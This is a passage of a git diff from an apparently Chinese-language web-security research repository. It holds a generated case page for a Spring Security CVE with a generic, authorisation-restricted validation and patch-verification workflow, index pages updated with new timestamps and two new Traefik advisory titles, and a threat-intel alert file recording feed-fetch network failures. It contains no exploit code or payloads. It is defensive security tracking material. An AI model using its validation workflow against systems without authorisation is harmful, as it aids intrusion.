`https://nvd.nist.gov/vuln/detail/CVE-2026-22732, https://github.com/spring-projects/spring-security, https://spring.io/security/cve-2026-22732` + +## 受控验证流程 + +- Workflow ID: `spring-security--CVE-2026-22732--workflow` +- 漏洞家族: `unknown` +- 入口面: `package-surface` +- 需要角色: `unknown` +- 触发向量: 对 `unknown` 家族入口投递最小化、可审计、可回滚的受控输入,比较修复前后差异。 +- 请求/页面入口: `/package` +- 输入形态: 提交最小化、可审计、可回滚的受控输入。 +- 预期不安全行为: 目标表现出超出设计边界的行为。 + +## 其他来源 + +- https://github.com/spring-projects/spring-security +- https://spring.io/security/cve-2026-22732 + +## 证据点与补丁验证 + +### 服务端证据点 + +- 应用日志中的命中路径、鉴权决策和异常栈 +- 反向代理或边界层日志中的请求头、来源 IP 与路由决策 + +### 浏览器证据点 + +- 基线截图与攻击后截图的 DOM/视觉差异 +- console、network 与 response metadata 中的异常信号 + +### 数据库/文件系统证据点 + +- 数据库中新增/越权读取的测试数据 +- 文件系统中新增上传样本、缓存条目或越权读取痕迹 + +### 检测信号 + +- WAF / reverse proxy 异常日志、访问日志和告警 +- 应用审计日志中的权限错误、重定向异常、模板渲染或上传落盘事件 + +### 补丁验证步骤 + +- 确认目标版本从 `3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE` 升级或回移到 `6.5.9`。 +- 保留同一组受控输入,在修复前后分别执行并比对响应、日志与浏览器证据。 +- 确认修复后仅保留预期业务行为,不再触发越权、回显、异常渲染或错误请求。 +- 补充 `unknown` 族自动化回归,避免同类路径在插件、主题或代理链中回归。 + +### 实验安全备注 + +- 只使用回环地址、哨兵目标、无害样本或可回滚测试数据。 +- 禁止造成持久破坏、越权下载真实数据或不可回滚 side effect。 +- 如需浏览器证据,保留 baseline / proof 两份快照以及 console / network 记录。 + +## 实验层 + +- 仅用于自有资产、测试环境或已明确授权目标。 +- 允许公网可达目标,但必须满足资产归属或明确授权前提。 +- 最小化验证方式: 最小化验证、只读探测、可审计回显、受控注入。 +- 若该案例涉及插件、模块或扩展,应同时检查供应链与升级策略。 +- 禁止场景: 无归属证明或无明确授权的公网目标;知名公共网站或与测试无关的第三方资产;会造成持久破坏、数据越权下载或不可回滚影响的动作 + +## 修复示例 + +- [javascript-typescript:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/javascript-typescript/authz-server-side-recheck.md) +- [nodejs:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/nodejs/authz-server-side-recheck.md) +- [java:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/java/authz-server-side-recheck.md) +- [php:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/php/authz-server-side-recheck.md) +- [python:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/python/authz-server-side-recheck.md) +- [ruby:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/ruby/authz-server-side-recheck.md) +- [csharp:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/csharp/authz-server-side-recheck.md) +- [go:authz-server-side-recheck](/Users/x/websafe/05-defense/secure-code/go/authz-server-side-recheck.md) +- [javascript-typescript:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/javascript-typescript/token-cookie-storage.md) +- [nodejs:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/nodejs/token-cookie-storage.md) +- [java:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/java/token-cookie-storage.md) +- [php:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/php/token-cookie-storage.md) +- [python:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/python/token-cookie-storage.md) +- [ruby:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/ruby/token-cookie-storage.md) +- [csharp:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/csharp/token-cookie-storage.md) +- [go:token-cookie-storage](/Users/x/websafe/05-defense/secure-code/go/token-cookie-storage.md) +- [javascript-typescript:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/javascript-typescript/proxy-trust-boundary.md) +- [nodejs:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/nodejs/proxy-trust-boundary.md) +- [java:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/java/proxy-trust-boundary.md) +- [php:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/php/proxy-trust-boundary.md) +- [python:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/python/proxy-trust-boundary.md) +- [ruby:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/ruby/proxy-trust-boundary.md) +- [csharp:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/csharp/proxy-trust-boundary.md) +- [go:proxy-trust-boundary](/Users/x/websafe/05-defense/secure-code/go/proxy-trust-boundary.md) diff --git a/07-framework-security/frameworks/sveltekit/INDEX.md b/07-framework-security/frameworks/sveltekit/INDEX.md index 63b7f07c..c8eded1f 100644 --- a/07-framework-security/frameworks/sveltekit/INDEX.md +++ b/07-framework-security/frameworks/sveltekit/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `3` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/symfony/INDEX.md b/07-framework-security/frameworks/symfony/INDEX.md index bd652b16..01ee3ac1 100644 --- a/07-framework-security/frameworks/symfony/INDEX.md +++ b/07-framework-security/frameworks/symfony/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `9` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/undici/INDEX.md b/07-framework-security/frameworks/undici/INDEX.md index 9b111f65..d50c45a3 100644 --- a/07-framework-security/frameworks/undici/INDEX.md +++ b/07-framework-security/frameworks/undici/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `9` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vite/INDEX.md b/07-framework-security/frameworks/vite/INDEX.md index 17a854cb..c6cc28e9 100644 --- a/07-framework-security/frameworks/vite/INDEX.md +++ b/07-framework-security/frameworks/vite/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `30` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/vue/INDEX.md b/07-framework-security/frameworks/vue/INDEX.md index 24805495..cf8b89d6 100644 --- a/07-framework-security/frameworks/vue/INDEX.md +++ b/07-framework-security/frameworks/vue/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `15` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/webpack/INDEX.md b/07-framework-security/frameworks/webpack/INDEX.md index 0444fb1c..786af543 100644 --- a/07-framework-security/frameworks/webpack/INDEX.md +++ b/07-framework-security/frameworks/webpack/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/werkzeug/INDEX.md b/07-framework-security/frameworks/werkzeug/INDEX.md index 256f840f..9c2a64d6 100644 --- a/07-framework-security/frameworks/werkzeug/INDEX.md +++ b/07-framework-security/frameworks/werkzeug/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `1` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/adminer/INDEX.md b/07-framework-security/platforms/adminer/INDEX.md index 92e50572..81031170 100644 --- a/07-framework-security/platforms/adminer/INDEX.md +++ b/07-framework-security/platforms/adminer/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `2` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/gitea/INDEX.md b/07-framework-security/platforms/gitea/INDEX.md index 27684a61..5f5b0410 100644 --- a/07-framework-security/platforms/gitea/INDEX.md +++ b/07-framework-security/platforms/gitea/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `13` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/gitlab-ce/INDEX.md b/07-framework-security/platforms/gitlab-ce/INDEX.md index 7f696e18..49926bda 100644 --- a/07-framework-security/platforms/gitlab-ce/INDEX.md +++ b/07-framework-security/platforms/gitlab-ce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `55` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/grafana/INDEX.md b/07-framework-security/platforms/grafana/INDEX.md index 36e66a12..2071025a 100644 --- a/07-framework-security/platforms/grafana/INDEX.md +++ b/07-framework-security/platforms/grafana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `60` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/jenkins/INDEX.md b/07-framework-security/platforms/jenkins/INDEX.md index 65717bc7..2095df2d 100644 --- a/07-framework-security/platforms/jenkins/INDEX.md +++ b/07-framework-security/platforms/jenkins/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `60` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/kibana/INDEX.md b/07-framework-security/platforms/kibana/INDEX.md index c21caee6..8171f02c 100644 --- a/07-framework-security/platforms/kibana/INDEX.md +++ b/07-framework-security/platforms/kibana/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `47` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/mattermost/INDEX.md b/07-framework-security/platforms/mattermost/INDEX.md index 7b7baba8..aa537906 100644 --- a/07-framework-security/platforms/mattermost/INDEX.md +++ b/07-framework-security/platforms/mattermost/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `21` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/phpmyadmin/INDEX.md b/07-framework-security/platforms/phpmyadmin/INDEX.md index fc2c74a6..8f64c163 100644 --- a/07-framework-security/platforms/phpmyadmin/INDEX.md +++ b/07-framework-security/platforms/phpmyadmin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `50` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/platforms/redmine/INDEX.md b/07-framework-security/platforms/redmine/INDEX.md index 0532eaec..e1bc8089 100644 --- a/07-framework-security/platforms/redmine/INDEX.md +++ b/07-framework-security/platforms/redmine/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `50` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-httpd/INDEX.md b/07-framework-security/servers/apache-httpd/INDEX.md index 085a00f9..061ed649 100644 --- a/07-framework-security/servers/apache-httpd/INDEX.md +++ b/07-framework-security/servers/apache-httpd/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `135` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/servers/apache-tomcat/INDEX.md b/07-framework-security/servers/apache-tomcat/INDEX.md index 98867783..a32b6cd3 100644 --- a/07-framework-security/servers/apache-tomcat/INDEX.md +++ b/07-framework-security/servers/apache-tomcat/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `136` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/servers/caddy/INDEX.md b/07-framework-security/servers/caddy/INDEX.md index bd84844e..6f567e3e 100644 --- a/07-framework-security/servers/caddy/INDEX.md +++ b/07-framework-security/servers/caddy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `27` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/servers/haproxy/INDEX.md b/07-framework-security/servers/haproxy/INDEX.md index a2153516..fbe37ca1 100644 --- a/07-framework-security/servers/haproxy/INDEX.md +++ b/07-framework-security/servers/haproxy/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `6` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:59+00:00` ## 目标约束 diff --git a/07-framework-security/servers/nginx/INDEX.md b/07-framework-security/servers/nginx/INDEX.md index bf554e49..84935b48 100644 --- a/07-framework-security/servers/nginx/INDEX.md +++ b/07-framework-security/servers/nginx/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `110` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 diff --git a/07-framework-security/servers/traefik/INDEX.md b/07-framework-security/servers/traefik/INDEX.md index 1a82ea1d..8da302ce 100644 --- a/07-framework-security/servers/traefik/INDEX.md +++ b/07-framework-security/servers/traefik/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `traefik` - 分类: `servers` - 覆盖策略: `rolling-24m` -- 总案例数: `43` -- 近 30 天新增/更新: `16` +- 总案例数: `45` +- 近 30 天新增/更新: `18` - 重点 Markdown 案例数: `0` - 已实证(真实版本): `0` - 已实证(synthetic): `0` - 阻塞数: `0` -- 待人工/缺浏览器证据: `43` -- 最近渲染时间: `2026-03-20T15:46:05+00:00` +- 待人工/缺浏览器证据: `45` +- 最近渲染时间: `2026-03-21T13:36:58+00:00` ## 目标约束 @@ -31,6 +31,8 @@ | 标题 | 严重度 | 案例状态 | 实证状态 | 实证方式 | 来源置信度 | 更新时间 | 案例页 | |------|--------|----------|----------|----------|------------|----------|--------| +| Traefik Affected by BasicAuth Middleware Timing Attack Allows Username Enumeration | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-20T15:46:26.940872Z` | - | +| Traefik has a Potential mTLS Bypass via Fragmented TLS ClientHello Causing Pre-SNI Sniff Fallback to Default Non-mTLS TLS Config | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-20T15:46:41.715568Z` | - | | Traefik: HTTP/2 frames can cause a running server to panic | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-14T03:09:48.127568Z` | - | | Traefik: kubernetes gateway rule injection via unescaped backticks in HTTPRoute match values | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-18T13:59:10.423590Z` | - | | traefik CVE-2024-45410 fix bypass: lowercase `Connection` tokens can delete traefik-managed forwarded identity headers (for example, `X-Real-Ip`) | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-05T22:46:31.066201Z` | - | diff --git a/08-threat-intel/generated/alerts.json b/08-threat-intel/generated/alerts.json index 29308b33..fc9cf6b1 100644 --- a/08-threat-intel/generated/alerts.json +++ b/08-threat-intel/generated/alerts.json @@ -5,10 +5,10 @@ "display_name": "Adminer", "source_name": "OSV Adminer", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -22,8 +22,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.728 + "summary": "adminer::OSV Adminer::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -32,10 +31,10 @@ "display_name": "Adobe Commerce", "source_name": "Adobe Magento Security Index", "source_kind": "vendor-index", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -49,8 +48,7 @@ "message": "HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://helpx.adobe.com/security/products/magento.html", - "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 3.474 + "summary": "adobe-commerce::Adobe Magento Security Index::network::HTTPSConnectionPool(host='helpx.adobe.com', port=443): Max retries exceeded with url: /security/products/magento.html (Caused by NameResolutionError(\"HTTPSConnection(host='helpx.adobe.com', port=443): Failed to resolve 'helpx.adobe.com' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -59,10 +57,10 @@ "display_name": "Angular", "source_name": "OSV Angular", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -76,8 +74,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 5.226 + "summary": "angular::OSV Angular::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -86,10 +83,10 @@ "display_name": "Apache HTTP Server", "source_name": "Apache HTTPD Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -103,8 +100,7 @@ "message": "HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://httpd.apache.org/security/vulnerabilities_24.html", - "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.653 + "summary": "apache-httpd::Apache HTTPD Security::network::HTTPSConnectionPool(host='httpd.apache.org', port=443): Max retries exceeded with url: /security/vulnerabilities_24.html (Caused by NameResolutionError(\"HTTPSConnection(host='httpd.apache.org', port=443): Failed to resolve 'httpd.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -113,10 +109,10 @@ "display_name": "Apache HTTP Server", "source_name": "CISA KEV Apache HTTPD", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -130,8 +126,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "apache-httpd::CISA KEV Apache HTTPD::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -140,10 +135,10 @@ "display_name": "Apache Tomcat", "source_name": "Apache Tomcat Security", "source_kind": "html-links", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -157,8 +152,7 @@ "message": "HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://tomcat.apache.org/security-10.html", - "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.642 + "summary": "apache-tomcat::Apache Tomcat Security::network::HTTPSConnectionPool(host='tomcat.apache.org', port=443): Max retries exceeded with url: /security-10.html (Caused by NameResolutionError(\"HTTPSConnection(host='tomcat.apache.org', port=443): Failed to resolve 'tomcat.apache.org' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -167,10 +161,10 @@ "display_name": "Apache Tomcat", "source_name": "CISA KEV Tomcat", "source_kind": "kev-json", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -184,8 +178,7 @@ "message": "HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json", - "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 8.753 + "summary": "apache-tomcat::CISA KEV Tomcat::network::HTTPSConnectionPool(host='www.cisa.gov', port=443): Max retries exceeded with url: /sites/default/files/feeds/known_exploited_vulnerabilities.json (Caused by NameResolutionError(\"HTTPSConnection(host='www.cisa.gov', port=443): Failed to resolve 'www.cisa.gov' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -194,10 +187,10 @@ "display_name": "ASP.NET Core", "source_name": "OSV ASP.NET Core", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -211,8 +204,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", "status_code": null, "url": "", - "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))", - "elapsed_seconds": 6.947 + "summary": "aspnet-core::OSV ASP.NET Core::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))" } }, { @@ -221,10 +213,10 @@ "display_name": "Astro", "source_name": "OSV Astro", "source_kind": "osv-batch", - "status": "resolved", - "opened_at": "2026-03-20T13:41:26+00:00", - "updated_at": "2026-03-20T15:45:58+00:00", - "resolved_at": "2026-03-20T15:45:58+00:00", + "status": "open", + "opened_at": "2026-03-21T12:51:08+00:00", + "updated_at": "2026-03-21T12:51:08+00:00", + "resolved_at": null, "failure_streak": 1, "last_category": "network", "last_failure": { @@ -238,8 +230,7 @@ "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): 